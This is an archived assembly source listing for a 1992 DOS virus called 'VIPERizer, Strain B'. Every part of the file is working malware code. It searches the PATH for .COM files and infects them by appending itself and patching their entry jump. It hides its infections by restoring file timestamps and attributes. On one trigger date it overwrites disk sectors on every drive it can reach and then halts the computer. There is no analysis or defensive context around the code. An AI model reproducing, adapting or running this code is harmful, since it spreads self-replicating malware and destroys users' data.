home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BUSH.ASM < prev    next >
Assembly Source File  |  1992-02-12  |  18KB  |  413 lines

  1. ;
  2. ; VIPERizer, Strain B
  3. ; Copyright (c) 1992, Stingray/VIPER
  4. ; This is a Viral Inclined Programming Experts Ring Programming Team Production
  5. ; VIPER are:  Stingray, Venom, and Guido Sanchez
  6. ;
  7.  
  8. MOV_CX  MACRO   X         ; Here is just a simple "mov cx,xxxx" macro.
  9.         DB      0B9H
  10.         DW      X
  11. ENDM
  12.  
  13. CODE    SEGMENT
  14.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  15.         ORG     $+0100H
  16.  
  17. VCODE:  JMP     virus
  18.  
  19.         NOP         ; just a dud for the 'infected' file.
  20.  
  21. v_start equ     $
  22.  
  23.  
  24. virus:  PUSH    CX
  25.         mov     ax,0ff0fh               ;  Thanks to RABID... Change Mem Marker
  26.         int     21h
  27.         cmp     ax,101h                 ;  Is VirexPC/FluShit in memory?
  28.         jne     more_virus              ;  Nope.
  29.         jmp     quit                    ;  FUCK!!!!!
  30. more_virus:
  31.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  32.                                         ; The 2nd and 3rd bytes get modified.
  33.         CLD                             ;Pointers will be auto INcremented
  34.         MOV     SI,DX                   ;Access data as offset from SI
  35.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  36.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  37.         mov     cx,3
  38.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  39.         MOV     SI,DX                   ;Keep SI pointing to the data area
  40.  
  41.         MOV     AH,30H
  42.         INT     21H
  43.         nop
  44.         CMP     AL,0                    ;0 means it's version 1.X
  45.         JNZ     dos_ok                  ;For version 2.0 or greater
  46.         JMP     quit                    ;Don't try to infect version 1.X
  47. dos_ok:
  48.         mov     ah,2ch                  ;  Get Time
  49.         int     21h                     ;  Do it.
  50.         xor     bx,bx                   ;  VIPERize bx, for later use.
  51.         cmp     dl,4                    ;  hund's of seconds 4?
  52.         jle     print_message           ;  If 4 or less, print a message.
  53.                                         ;  This serves as a random 1 in 20
  54.                                         ;  chance of the message printing
  55.         jmp     short get_date          ;  No?  What date is it...?
  56. print_message:
  57.         mov     dl, byte ptr [si+msg+bx] ; Get a byte of our message...
  58.         or      dl,dl                   ;  is it 0? (end of message)
  59.         jz      get_date                ;  Get the date if it is...
  60.         sub     dl,75                   ;  Unencrypt message
  61.         mov     ah,2                    ;  Prepare to print one letter
  62.         int     21h                     ;  do it!
  63.         inc     bx                      ;  point to next character.
  64.         jmp     short print_message     ;  Do it again.
  65. get_date:
  66.         mov     ah,2ah                  ;  What day is it?
  67.         int     21h                     ;  Find out.
  68.         cmp     dh,3                    ;  Is it february?
  69.         jne     resume                  ;  No?  Oh well.
  70.         cmp     dl,24                   ;  Is it valentines day?
  71.         jne     resume                  ;  No?  Damn.
  72.         mov     ah,2ch                  ;  What time is it?
  73.         int     21h                     ;  Find out.
  74.         cmp     ch,7                    ;  Is it 7 hours?
  75.         jne     resume                  ;  No? C'est la vie...
  76.         cmp     cl,45                   ;  Is it 45 minutes?
  77.         jne     resume                  ;  No? Too Bad...
  78.         xor     bx,bx                   ;  VIPERize bx
  79. cool:
  80.         mov     dl,byte ptr [si+msg2+bx] ; This is pretty much the
  81.         or      dl,dl                   ;  same as the above 'print'
  82.         jz      no_mas                  ;  function.  except I didn't
  83.         sub     dl,75                   ;  make it a procedure.
  84.         mov     ah,2
  85.         int     21h
  86.         inc     bx
  87.         jmp     short cool
  88. no_mas:
  89.         mov     al,0                    ;  Start with drive default
  90. phri:   
  91.         mov     cx,255                  ;  Nuke a few sectors
  92.         mov     dx,1                    ;  Beginning with sector 1!!!
  93.         int     26h                     ;  VIPERize them!!!! Rah!!!
  94.         jc      error                   ;  Uh oh. Problem.
  95.         add     sp,2                    ;  Worked great.  Clear the stack...
  96. error:
  97.         inc     al                      ;  Get another drive!
  98.         cmp     al,200                  ;  Have we fried 200 drives?
  99.         je      done_phrying            ;  Yep.
  100.         jmp     short phri              ;  Nope.
  101. done_phrying:
  102.         cli                             ;  Disable Interrupts
  103.         hlt                             ;  Lock up computer.
  104. resume:
  105.         PUSH    ES
  106.         MOV     AH,2FH
  107.         INT     21H
  108.         nop
  109.         MOV     [SI+old_dta],BX
  110.         MOV     [SI+old_dts],ES         ;Save the DTA address
  111.         POP     ES
  112.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  113.         nop
  114.         ADD     DX,SI                   ;Compute DTA address
  115.         MOV     AH,1AH
  116.         INT     21H                     ;Set new DTA to inside our own code
  117.         nop
  118.         PUSH    ES
  119.         PUSH    SI
  120.         MOV     ES,DS:2CH
  121.         MOV     DI,0                    ;ES:DI points to environment
  122. find_path:
  123.         POP     SI
  124.         PUSH    SI                      ;Get SI back
  125.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  126.         LODSB
  127.         nop
  128.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  129.         REPNZ   SCASB                   ;Search for first character
  130.         MOV     CX,4
  131. check_next_4:
  132.         LODSB
  133.         SCASB
  134.         JNZ     find_path               ;If not all there, abort & start over
  135.         nop
  136.         LOOP    check_next_4            ;Loop to check the next character
  137.         POP     SI
  138.         POP     ES
  139.         nop
  140.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  141.         MOV     DI,SI
  142.         ADD     DI,wrk_spc              ;File name workspace
  143.         nop
  144.         MOV     BX,SI                   ;Save a copy of SI
  145.         ADD     SI,wrk_spc              ;Point SI to workspace
  146.         MOV     DI,SI                   ;Point DI to workspace
  147.         JMP     SHORT   slash_ok
  148. set_subdir:
  149.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  150.         JNZ     found_subdir            ;If not, there are more subdirectories
  151.         JMP     all_done                ;Else, we're all done
  152. found_subdir:
  153.         PUSH    DS
  154.         PUSH    SI
  155.         MOV     DS,ES:2CH               ;DS points to environment segment
  156.         nop
  157.         MOV     DI,SI
  158.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  159.         ADD     DI,wrk_spc              ;DI points to file name workspace
  160. move_subdir:
  161.         LODSB                           ;Get character
  162.         CMP     AL,';'                  ;Is it a ';' delimiter?
  163.         JZ      moved_one               ;Yes, found another subdirectory
  164.         nop
  165.         CMP     AL,0                    ;End of PATH string?
  166.         JZ      moved_last_one          ;Yes
  167.         STOSB                           ;Save PATH marker into [DI]
  168.         JMP     SHORT   move_subdir
  169. moved_last_one:
  170.         xor     si,si
  171. moved_one:
  172.         POP     BX                      ;Pointer to virus data area
  173.         POP     DS                      ;Restore DS
  174.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  175.         NOP
  176.         CMP     CH,'\'                  ;Ends with "\"?
  177.         nop
  178.         JZ      slash_ok                ;If yes
  179.         MOV     AL,'\'                  ;Add one, if not
  180.         STOSB
  181. slash_ok:
  182.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  183.         MOV     SI,BX                   ;Restore SI
  184.         ADD     SI,f_spec               ;Point to "*.COM"
  185.         MOV     CX,6
  186.         nop
  187.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  188.         MOV     SI,BX
  189.         MOV     AH,4EH
  190.         MOV     DX,wrk_spc
  191.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  192.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  193.         INT     21H
  194.         nop
  195.         JMP     SHORT   find_first
  196. find_next:
  197.         MOV     AH,4FH
  198.         INT     21H
  199.         nop
  200. find_first:
  201.         JNB     found_file              ;Jump if we found it
  202.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  203. found_file:
  204.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  205.         AND     AL,1FH                  ;Mask to remove all but seconds
  206.         CMP     AL,1FH                  ;62 seconds -> already infected
  207.         JZ      find_next               ;If so, go find another file
  208.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  209.         nop
  210.         JA      find_next               ;If too long, find another one
  211.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  212.         JB      find_next               ;Then go find another one
  213.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  214.         PUSH    SI                      ;Save SI
  215.         ADD     SI,dta_nam              ;Point SI to file name
  216. more_chars:
  217.         LODSB
  218.         STOSB
  219.         CMP     AL,0
  220.         JNZ     more_chars              ;Move characters until we find a 00
  221.         POP     SI
  222.         MOV     AX,OFFSET 4300H
  223.         nop
  224.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  225.         ADD     DX,SI
  226.         INT     21H
  227.         nop
  228.         MOV     [SI+old_att],CX         ;Save the old attributes
  229.         MOV     AX,OFFSET 4301H         ;Set attributes
  230.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  231.         nop
  232.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  233.         ADD     DX,SI                   ;Point to \path\name
  234.         INT     21H
  235.         nop
  236.         MOV     AX,OFFSET 3D02H         ;Read/Write
  237.         nop
  238.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  239.         ADD     DX,SI                   ;Point to \path\name
  240.         INT     21H
  241.         nop
  242.         JNB     opened_ok               ;If file was opened OK
  243.         JMP     fix_attr                ;If it failed, restore the attributes
  244.  
  245. opened_ok:
  246.         MOV     BX,AX
  247.         MOV     AX,OFFSET 5700H
  248.         INT     21H
  249.         nop
  250.         MOV     [SI+old_tim],CX         ;Save file time
  251.         MOV     [SI+ol_date],DX         ;Save the date
  252.         MOV     AH,3FH
  253.         nop
  254.         MOV     CX,3
  255.         MOV     DX,first_3
  256.         ADD     DX,SI
  257.         INT     21H             ;Save first 3 bytes into the data area
  258.         nop
  259.         JB      fix_time_stamp  ;Quit, if read failed
  260.         CMP     AX,3            ;Were we able to read all 3 bytes?
  261.         JNZ     fix_time_stamp  ;Quit, if not
  262.         MOV     AX,OFFSET 4202H
  263.         xor     cx,cx
  264.         xor     dx,dx
  265.         INT     21H
  266.         nop
  267.         JB      fix_time_stamp  ;Quit, if it didn't work
  268.         MOV     CX,AX           ;DX:AX (long int) = file size
  269.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  270.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  271.         nop
  272.         ADD     CX,OFFSET c_len_y
  273.         MOV     DI,SI           ;Point DI to virus data area
  274.         SUB     DI,OFFSET c_len_x
  275.                                 ;Point DI to reference vir_dat, at start of pgm
  276.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  277.         MOV     AH,40H
  278.         MOV_CX  virlen                  ;Length of virus, in bytes
  279.         nop
  280.         MOV     DX,SI
  281.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  282.                                         ; address of virus code in memory
  283.         INT     21H
  284.         nop
  285.         JB      fix_time_stamp          ;Jump if error
  286.         CMP     AX,OFFSET virlen        ;All bytes written?
  287.         JNZ     fix_time_stamp          ;Jump if error
  288.         MOV     AX,OFFSET 4200H
  289.         xor     cx,cx
  290.         xor     dx,dx
  291.         INT     21H
  292.         nop
  293.         JB      fix_time_stamp          ;Jump if error
  294.         MOV     AH,40H
  295.         MOV     CX,3
  296.         nop
  297.         MOV     DX,SI                   ;Virus data area
  298.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  299.         INT     21H
  300.         nop
  301. fix_time_stamp:
  302.         MOV     DX,[SI+ol_date]         ;Old file date
  303.         nop
  304.         MOV     CX,[SI+old_tim]         ;Old file time
  305.         AND     CX,OFFSET 0FFE0H
  306.         nop
  307.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  308.         MOV     AX,OFFSET 5701H
  309.         INT     21H
  310.         nop
  311.         MOV     AH,3EH
  312.         INT     21H
  313.         nop
  314. fix_attr:
  315.         MOV     AX,OFFSET 4301H
  316.         MOV     CX,[SI+old_att]         ;Old Attributes
  317.         nop
  318.         MOV     DX,wrk_spc
  319.         ADD     DX,SI                   ;DX points to \path\name in workspace
  320.         INT     21H
  321.         nop
  322. all_done:
  323.         PUSH    DS
  324.         MOV     AH,1AH
  325.         MOV     DX,[SI+old_dta]
  326.         nop
  327.         MOV     DS,[SI+old_dts]
  328.         INT     21H
  329.         nop
  330.         POP     DS
  331.         nop
  332. quit:
  333.         POP     CX
  334.         XOR     AX,AX
  335.         XOR     BX,BX
  336.         xor     cx,cx
  337.         XOR     DX,DX
  338.         XOR     SI,SI
  339.         MOV     DI,OFFSET 0100H
  340.         PUSH    DI
  341.         XOR     DI,DI
  342.         RET     0FFFFH
  343. vir_dat EQU     $
  344. olddta_ DW      0                       ;Old DTA offset
  345. olddts_ DW      0                       ;Old DTA segment
  346. oldtim_ DW      0                       ;Old Time
  347. oldate_ DW      0                       ;Old date
  348. oldatt_ DW      0                       ;Old file attributes
  349. first3_ EQU     $
  350.         INT     20H
  351.         NOP
  352. jmpop_  DB      0E9H                    ;Start of JMP instruction
  353. jmpdsp_ DW      0                       ;The displacement part
  354. fspec_  DB      '*.COM',0
  355. pathad_ DW      0                       ;Path address
  356. namptr_ DW      0                       ;Pointer to start of file name
  357. envstr_ DB      'PATH='                 ;Find this in the environment
  358. wrkspc_ DB      40h dup (0)
  359. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  360. dtatim_ DW      0,0                     ;Time stamp in DTA
  361. dtalen_ DW      0,0                     ;File length in the DTA
  362. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  363. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  364.  
  365. _msg    db  158,186,189,189,196,107,191,179,180,190,107,174,186,184,187,192
  366.         db  191,176,189,107,180,190,107,185,186,107,183,186,185,178,176,189
  367.         db  107,186,187,176,189,172,191,180,186,185,172,183,107,175,192,176
  368.         db  107,191,186,107,172,185,107,186,192,191,173,189,176,172,182,107
  369.         db  186,177,088,141,192,190,179,180,190,179,180,189,186,088,147,172
  370.         db  193,176,107,172,107,153,148,142,144,107,175,172,196,121,121,121
  371.         db  088
  372.         db  0
  373.  
  374. _msg2   db  161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180
  375.         db  185,107,141,085,088
  376.         db  115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189
  377.         db  172,196,122,161,148,155,144,157,085,088
  378.         db  147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190
  379.         db  107,143,172,196,108,085,088
  380.         db  0
  381.  
  382.  
  383. lst_byt EQU     $                       ;All lines that assemble into code are
  384.                                         ;  above this one
  385.  
  386. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  387. codelen =       vir_dat - v_start       ;Length of virus code, only
  388. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  389. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  390. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  391. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  392. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  393. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  394. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  395. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  396. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  397. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  398. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  399. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  400. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  401. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  402. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  403. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  404. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  405. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  406. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  407. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  408. msg     =       _msg    - vir_dat       ; Disp. to 1st msg
  409. msg2    =       _msg2   - vir_dat       ; Disp. to 2nd msg
  410.         CODE    ENDS
  411. END     VCODE
  412.